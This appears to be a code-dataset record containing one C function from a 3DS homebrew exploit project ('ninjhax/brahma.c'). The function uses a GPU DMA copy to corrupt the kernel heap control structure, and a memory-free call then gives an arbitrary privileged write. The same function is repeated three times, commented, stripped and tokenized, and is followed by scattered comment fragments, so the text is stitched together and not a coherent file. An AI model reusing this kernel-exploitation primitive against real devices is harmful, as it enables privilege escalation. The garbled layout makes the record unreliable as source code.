ninjhax/source/brahma.c
void priv_write_four(u32 address) {
	u32 saved_heap[8];
	u32 tmp_addr;
	u32 mem_hax_mem;

	svcControlMemory(&mem_hax_mem, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, 0x3);
	u32 mem_hax_mem_free = mem_hax_mem + 0x1000;
	svcControlMemory(&tmp_addr, mem_hax_mem_free, 0, 0x1000, MEMOP_FREE, 0); 

	// back up heap
	do_gshax_copy(arm11_buffer, mem_hax_mem_free, 0x20u);
	memcpy(saved_heap, arm11_buffer, sizeof(saved_heap));

	// set up a custom heap ctrl structure
	arm11_buffer[0] = 1;
	arm11_buffer[1] = address - 8; // prev_free_blk at offs 8
	arm11_buffer[2] = 0;
	arm11_buffer[3] = 0;

	// corrupt heap ctrl structure by overwriting it with our custom struct
	do_gshax_copy(mem_hax_mem_free, arm11_buffer, 4 * sizeof(u32));
	
	// Trigger write to 'address' 
	svcControlMemory(&tmp_addr, mem_hax_mem, 0, 0x1000, MEMOP_FREE, 0);
   
	// restore heap
	memcpy(arm11_buffer, saved_heap, sizeof(saved_heap));
	do_gshax_copy(mem_hax_mem, arm11_buffer, 4 * sizeof(u32));
	
	return;	
}
/* to write a certain value to 'address'
*/
to write a certain value to 'address'
to write a certain value to ' address '
void priv_write_four(u32 address) {
	u32 saved_heap[8];
	u32 tmp_addr;
	u32 mem_hax_mem;
	svcControlMemory(&mem_hax_mem, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, 0x3);
	u32 mem_hax_mem_free = mem_hax_mem + 0x1000;
	svcControlMemory(&tmp_addr, mem_hax_mem_free, 0, 0x1000, MEMOP_FREE, 0); 
	do_gshax_copy(arm11_buffer, mem_hax_mem_free, 0x20u);
	memcpy(saved_heap, arm11_buffer, sizeof(saved_heap));
	arm11_buffer[0] = 1;
	arm11_buffer[1] = address - 8; 
	arm11_buffer[2] = 0;
	arm11_buffer[3] = 0;
	do_gshax_copy(mem_hax_mem_free, arm11_buffer, 4 * sizeof(u32));
	svcControlMemory(&tmp_addr, mem_hax_mem, 0, 0x1000, MEMOP_FREE, 0);
	memcpy(arm11_buffer, saved_heap, sizeof(saved_heap));
	do_gshax_copy(mem_hax_mem, arm11_buffer, 4 * sizeof(u32));
	return;	
}
void priv_write_four ( u32 address ) { u32 saved_heap [ 8 ] ; u32 tmp_addr ; u32 mem_hax_mem ; svcControlMemory ( & mem_hax_mem , 0 , 0 , 0x2000 , MEMOP_ALLOC_LINEAR , 0x3 ) ; u32 mem_hax_mem_free = mem_hax_mem + 0x1000 ; svcControlMemory ( & tmp_addr , mem_hax_mem_free , 0 , 0x1000 , MEMOP_FREE , 0 ) ; do_gshax_copy ( arm11_buffer , mem_hax_mem_free , 0x20u ) ; memcpy ( saved_heap , arm11_buffer , sizeof ( saved_heap ) ) ; arm11_buffer [ 0 ] = 1 ; arm11_buffer [ 1 ] = address - 8 ; arm11_buffer [ 2 ] = 0 ; arm11_buffer [ 3 ] = 0 ; do_gshax_copy ( mem_hax_mem_free , arm11_buffer , 4 * sizeof ( u32 ) ) ; svcControlMemory ( & tmp_addr , mem_hax_mem , 0 , 0x1000 , MEMOP_FREE , 0 ) ; memcpy ( arm11_buffer , saved_heap , sizeof ( saved_heap ) ) ; do_gshax_copy ( mem_hax_mem , arm11_buffer , 4 * sizeof ( u32 ) ) ; return ; }
to write a certain value to 'address'
to write a certain value to ' address '
// back up heap // set up a custom heap ctrl structure // prev_free_blk at offs 8 // corrupt heap ctrl structure by overwriting it with our custom struct // Trigger write to 'address'  // restore heap